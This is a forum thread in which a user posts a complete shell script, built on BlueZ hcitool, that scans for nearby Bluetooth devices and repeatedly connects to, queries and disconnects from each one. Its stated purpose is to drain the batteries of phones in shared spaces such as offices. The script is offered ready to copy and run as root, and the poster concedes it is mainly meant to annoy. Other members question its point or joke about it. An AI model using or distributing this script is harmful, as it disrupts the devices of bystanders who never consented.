Results 1 to 6 of 6

Thread: Bluetooth battery killer

  1. #1
    Junior Member
    Join Date
    Dec 2005
    Posts
    0

    Bluetooth battery killer

    Hello Ladies and Gents.

    Here is a little script I wrote to kill batteries on bluetooth devices (For good karma.. just a proof of concept). It requires:

    1. BlueZ stack
    2. Linux
    3. a bluetooth dongle/card

    Just copy and paste the below script and call it whatever.sh. Then chmod u+x the file. NB... must run as root.

    --------------------------------------

    #!/bin/sh
    # BlueBattery by bob_mugabe.
    # Creates loads of connections to cellphones/bluetooth devices. If run in a place like an office,
    # it should be pretty good at making the device's battery flat after a few hours.
    #
    # bob_mugabe@petabyte.co.za

    control=69

    while [ "$control" == "69" ]
    do

    echo
    echo Scanning devices....
    hcitool scan > scan.txt

    echo
    declare -i linecount
    linecount=0

    while read LINE
    do
    linecount=linecount+1
    if [ "$linecount" -gt "1" ]
    then
    bwaddress=`echo $LINE | awk '{ print $1 }'`
    bwname=`echo $LINE | awk '{ print $2 $3 $4 $5}'`
    echo "Connecting to $bwaddress.... ($bwname)"
    hcitool cc $bwaddress > /dev/null
    echo "Communicating with $bwaddress.... ($bwname)"
    hcitool info $bwaddress > /dev/null
    hcitool inq $bwaddress > /dev/null
    echo "Disconnecting from $bwaddress.... ($bwname)"
    hcitool dc $bwaddress > /dev/null
    fi
    done < scan.txt

    done

  2. #2
    They call me the Hunted foxyloxley's Avatar
    Join Date
    Nov 2003
    Location
    3rd Rock from Sun
    Posts
    2,534
    what, exactly, is the point of this ?
    is it just to be a nuisance ?

    does mr mugabe know you are taking his name in vain
    what, exactly, are you looking for on this site ?

    what, exactly, is the point of your membership here ?

    just curious, REAL curious
    so now I'm in my SIXTIES FFS
    WTAF, how did that happen, so no more alterations to the sig, it will remain as is now

    Beware of Geeks bearing GIF's
    come and waste the day :P at The Taz Zone

  3. #3
    Junior Member
    Join Date
    Dec 2005
    Posts
    0
    yes, granted... It is more to annoy somebody... But...

    I really enjoy quirky little scripts like this. It's just to prove that it can be done. My membership is purely for the sharing of info, and my passion for all things security.

    I have plenty of little apps I have written that I would like to share, but if nobody wants it, then just let me know ;-)

    Have a great day.

  4. #4
    Senior Member nihil's Avatar
    Join Date
    Jul 2003
    Location
    United Kingdom: Bridlington
    Posts
    17,188
    All well and good Bob, but, as I am sure a number of older members will agree,

    Why go to all that effort when you have a wife and teenage daughter?


  5. #5
    Slightly off topic here, but why does bob_mugabe appear to have 0 posts to his name?
    If everything looks perfect, then there is something you don\'t know

  6. #6
    Banned
    Join Date
    Aug 2001
    Location
    Yes
    Posts
    4,424
    It's because of a moderator-trick nihil used... the post had to be moved temporarily to reset its AntiPoints, which apparently also causes the poster to loose posts...

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •